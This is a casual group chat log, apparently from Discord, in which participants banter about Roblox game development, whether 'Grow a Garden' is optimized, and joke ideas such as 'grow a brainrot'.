timing is also a skill
Not that far fetched
True
Thats what i meant
This works y'all trust
Youre so bad
depending on how complex the UI is, you could easily create a farming-type of system in a couple of hours lol
thats 80% of the game right there
Rofl
I can fix with a line of code
But you didnt
rolling on floor laughing
Oh
It depends if you want your game to be optimized and easy to setting or coded very badly with bugs everywhere
Ty
discord is older than you
Grow a garden is not optimized I’m pretty sure
it is
How can u tell that
no lag
I’m pretty sure it’s not
its wierd
So were assuming
man I spelled that wrong
It’s stud based btw so it’s kinda normal
Bro said no lag as proof
no complex meshes and stuff
Ima make the new biggest Roblox game
grow a brainrot
Exactly
it exists lol
Youre lying Ha
Sadly that would probably do well
no it wouldn't
Would
i know
Ur the one
Shut yo goof
Youre smart bro

